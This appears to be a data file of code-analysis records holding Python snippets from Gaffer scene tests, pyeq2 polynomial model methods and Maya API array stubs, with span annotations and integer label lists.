IECore.StringVectorData( [ \"/group\", \"/group/plane1\" ] ) )\n\t\ts2[\"in\"].setInput( s1[\"out\"] )\n\n\t\tf = GafferScene.SetFilter()\n\t\tf[\"set\"].setValue( \"set1\" )\n\n\t\ti = GafferScene.Isolate()\n\t\ti[\"in\"].setInput( s2[\"out\"] )\n\t\ti[\"filter\"].setInput( f[\"out\"] )\n\n\t\tself.assertSceneValid( i[\"out\"] )\n\t\tself.assertEqual( i[\"out\"].childNames( \"/group\" ), IECore.InternedStringVectorData( [ \"plane\" ] ) )\n\n\t\tself.assertEqual( i[\"out\"].set( \"set1\" ).value.paths(), [ \"/group/plane\" ] )\n\t\tself.assertEqual( i[\"out\"].set( \"set2\" ).value.paths(), [ \"/group\" ] )", "metadata": "root.SetFilterTest.testIsolate", "header": "['class', 'SetFilterTest', '(', 'GafferSceneTest', '.', 'SceneTestCase', ')', ':', '___EOS___']", "index": 157 }, { "content": "\tdef testNonExistentSets( self ) :\n\n\t\tp = GafferScene.Plane()\n\t\tp[\"sets\"].setValue( \"flatThings\" )\n\n\t\ta = GafferScene.StandardAttributes()\n\t\ta[\"in\"].setInput( p[\"out\"] )\n\t\ta[\"attributes\"][\"doubleSided\"][\"enabled\"].setValue( True )\n\n\t\tself.assertTrue( \"doubleSided\" in a[\"out\"].attributes( \"/plane\" ).keys() )\n\n\t\tf = GafferScene.SetFilter()\n\t\ta[\"filter\"].setInput( f[\"out\"] )\n\n\t\tself.assertFalse( \"doubleSided\" in a[\"out\"].attributes( \"/plane\" ).keys() )\n\n\t\tf[\"set\"].setValue( \"nonExistent\" )\n\t\tself.assertFalse( \"doubleSided\" in a[\"out\"].attributes( \"/plane\" ).keys() )\n\n\t\tf[\"set\"].setValue( \"flatThings\" )\n\t\tself.assertTrue( \"doubleSided\" in a[\"out\"].attributes( \"/plane\" ).keys() )", "metadata": "root.SetFilterTest.testNonExistentSets", "header": "['class', 'SetFilterTest', '(', 'GafferSceneTest', '.', 'SceneTestCase', ')', ':', '___EOS___']", "index": 188 } ]

[ { "span": "import Gaffer", "start_line": 40, "start_column": 0, "end_line": 40, "end_column": 13 } ]

[]

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[ { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n PowX_2 = inDataCacheDictionary['PowX_2.0'] # only need to perform this dictionary look-up once\n PowY_2 = inDataCacheDictionary['PowY_2.0'] # only need to perform this dictionary look-up once\n PowX_3 = inDataCacheDictionary['PowX_3.0'] # only need to perform this dictionary look-up once\n Powy_3 = inDataCacheDictionary['PowY_3.0'] # only need to perform this dictionary look-up once\n XY = inDataCacheDictionary['XY'] # only need to perform this dictionary look-up once\n PowX_PowY_21 = inDataCacheDictionary['PowX_PowY_2.01.0'] # only need to perform this dictionary look-up once\n PowX_PowY_12 = inDataCacheDictionary['PowX_PowY_1.02.0'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n d = inCoeffs[3]\n f = inCoeffs[4]\n g = inCoeffs[5]\n h = inCoeffs[6]\n i = inCoeffs[7]\n j = inCoeffs[8]\n k = inCoeffs[9]\n\n try:\n temp = a\n temp += b * x_in\n temp += c * y_in\n temp += d * PowX_2\n temp += f * PowY_2\n temp += g * PowX_3\n temp += h * Powy_3\n temp += i * XY\n temp += j * PowX_PowY_21\n temp += k * PowX_PowY_12\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.FullCubic.CalculateModelPredictions", "header": "['class', 'FullCubic', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 66 }, { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n PowX_2 = inDataCacheDictionary['PowX_2.0'] # only need to perform this dictionary look-up once\n PowY_2 = inDataCacheDictionary['PowY_2.0'] # only need to perform this dictionary look-up once\n XY = inDataCacheDictionary['XY'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n d = inCoeffs[3]\n f = inCoeffs[4]\n g = inCoeffs[5]\n\n try:\n temp = a\n temp += b * x_in\n temp += c * y_in\n temp += d * PowX_2\n temp += f * PowY_2\n temp += g * XY\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.FullQuadratic.CalculateModelPredictions", "header": "['class', 'FullQuadratic', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 154 }, { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = a + b * x_in + c * y_in\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.Linear.CalculateModelPredictions", "header": "['class', 'Linear', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 223 }, { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n PowX_2 = inDataCacheDictionary['PowX_2.0'] # only need to perform this dictionary look-up once\n PowY_2 = inDataCacheDictionary['PowY_2.0'] # only need to perform this dictionary look-up once\n PowX_3 = inDataCacheDictionary['PowX_3.0'] # only need to perform this dictionary look-up once\n Powy_3 = inDataCacheDictionary['PowY_3.0'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n d = inCoeffs[3]\n f = inCoeffs[4]\n g = inCoeffs[5]\n h = inCoeffs[6]\n\n try:\n temp = a\n temp += b * x_in\n temp += c * y_in\n temp += d * PowX_2\n temp += f * PowY_2\n temp += g * PowX_3\n temp += h * Powy_3\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.SimplifiedCubic.CalculateModelPredictions", "header": "['class', 'SimplifiedCubic', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 280 }, { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n PowX_2 = inDataCacheDictionary['PowX_2.0'] # only need to perform this dictionary look-up once\n PowY_2 = inDataCacheDictionary['PowY_2.0'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n d = inCoeffs[3]\n f = inCoeffs[4]\n\n try:\n temp = a\n temp += b * x_in\n temp += c * y_in\n temp += d * PowX_2\n temp += f * PowY_2\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.SimplifiedQuadratic.CalculateModelPredictions", "header": "['class', 'SimplifiedQuadratic', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 355 }, { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n temp = 0.0\n coeffCount = 0\n try:\n for i in range(self.xPolynomialOrder+1): # 0 to xPolynomialOrder\n for j in range(self.yPolynomialOrder+1): # 0 to xPolynomialOrder\n temp += inCoeffs[coeffCount] * eval(\"inDataCacheDictionary['PowX_PowY_\" + str(i) + \".0\" + str(j) + \".0']\")\n coeffCount += 1\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.UserSelectablePolynomial.CalculateModelPredictions", "header": "['class', 'UserSelectablePolynomial', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 448 } ]

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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]

[ { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDoubleArray.__delslice__", "header": "['class', 'MDoubleArray', '(', 'object', ')', ':', '___EOS___']", "index": 544 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDoubleArray.__getslice__", "header": "['class', 'MDoubleArray', '(', 'object', ')', ':', '___EOS___']", "index": 562 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDoubleArray.__setslice__", "header": "['class', 'MDoubleArray', '(', 'object', ')', ':', '___EOS___']", "index": 636 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatVectorArray.__delslice__", "header": "['class', 'MFloatVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 878 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatVectorArray.__getslice__", "header": "['class', 'MFloatVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 896 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatVectorArray.__setslice__", "header": "['class', 'MFloatVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 970 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUint64Array.__delslice__", "header": "['class', 'MUint64Array', '(', 'object', ')', ':', '___EOS___']", "index": 1712 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUint64Array.__getslice__", "header": "['class', 'MUint64Array', '(', 'object', ')', ':', '___EOS___']", "index": 1730 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUint64Array.__setslice__", "header": "['class', 'MUint64Array', '(', 'object', ')', ':', '___EOS___']", "index": 1804 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MIntArray.__delslice__", "header": "['class', 'MIntArray', '(', 'object', ')', ':', '___EOS___']", "index": 1906 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MIntArray.__getslice__", "header": "['class', 'MIntArray', '(', 'object', ')', ':', '___EOS___']", "index": 1924 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MIntArray.__setslice__", "header": "['class', 'MIntArray', '(', 'object', ')', ':', '___EOS___']", "index": 1998 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUintArray.__delslice__", "header": "['class', 'MUintArray', '(', 'object', ')', ':', '___EOS___']", "index": 2280 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUintArray.__getslice__", "header": "['class', 'MUintArray', '(', 'object', ')', ':', '___EOS___']", "index": 2298 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUintArray.__setslice__", "header": "['class', 'MUintArray', '(', 'object', ')', ':', '___EOS___']", "index": 2372 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatArray.__delslice__", "header": "['class', 'MFloatArray', '(', 'object', ')', ':', '___EOS___']", "index": 3412 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatArray.__getslice__", "header": "['class', 'MFloatArray', '(', 'object', ')', ':', '___EOS___']", "index": 3430 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatArray.__setslice__", "header": "['class', 'MFloatArray', '(', 'object', ')', ':', '___EOS___']", "index": 3504 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MColorArray.__delslice__", "header": "['class', 'MColorArray', '(', 'object', ')', ':', '___EOS___']", "index": 4349 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MColorArray.__getslice__", "header": "['class', 'MColorArray', '(', 'object', ')', ':', '___EOS___']", "index": 4367 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MColorArray.__setslice__", "header": "['class', 'MColorArray', '(', 'object', ')', ':', '___EOS___']", "index": 4441 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDagPathArray.__delslice__", "header": "['class', 'MDagPathArray', '(', 'object', ')', ':', '___EOS___']", "index": 5076 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDagPathArray.__getslice__", "header": "['class', 'MDagPathArray', '(', 'object', ')', ':', '___EOS___']", "index": 5094 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDagPathArray.__setslice__", "header": "['class', 'MDagPathArray', '(', 'object', ')', ':', '___EOS___']", "index": 5168 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MObjectArray.__delslice__", "header": "['class', 'MObjectArray', '(', 'object', ')', ':', '___EOS___']", "index": 5270 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MObjectArray.__getslice__", "header": "['class', 'MObjectArray', '(', 'object', ')', ':', '___EOS___']", "index": 5288 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MObjectArray.__setslice__", "header": "['class', 'MObjectArray', '(', 'object', ')', ':', '___EOS___']", "index": 5362 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MVectorArray.__delslice__", "header": "['class', 'MVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 5501 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MVectorArray.__getslice__", "header": "['class', 'MVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 5519 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MVectorArray.__setslice__", "header": "['class', 'MVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 5593 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MPointArray.__delslice__", "header": "['class', 'MPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 5742 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MPointArray.__getslice__", "header": "['class', 'MPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 5760 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MPointArray.__setslice__", "header": "['class', 'MPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 5834 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatPointArray.__delslice__", "header": "['class', 'MFloatPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 11471 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatPointArray.__getslice__", "header": "['class', 'MFloatPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 11489 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatPointArray.__setslice__", "header": "['class', 'MFloatPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 11563 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MPlugArray.__delslice__", "header": "['class', 'MPlugArray', '(', 'object', ')', ':', '___EOS___']", "index": 12269 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MPlugArray.__getslice__", "header": "['class', 'MPlugArray', '(', 'object', ')', ':', '___EOS___']", "index": 12287 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MPlugArray.__setslice__", "header": "['class', 'MPlugArray', '(', 'object', ')', ':', '___EOS___']", "index": 12361 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MCallbackIdArray.__delslice__", "header": "['class', 'MCallbackIdArray', '(', 'object', ')', ':', '___EOS___']", "index": 12463 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MCallbackIdArray.__getslice__", "header": "['class', 'MCallbackIdArray', '(', 'object', ')', ':', '___EOS___']", "index": 12481 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MCallbackIdArray.__setslice__", "header": "['class', 'MCallbackIdArray', '(', 'object', ')', ':', '___EOS___']", "index": 12555 } ]

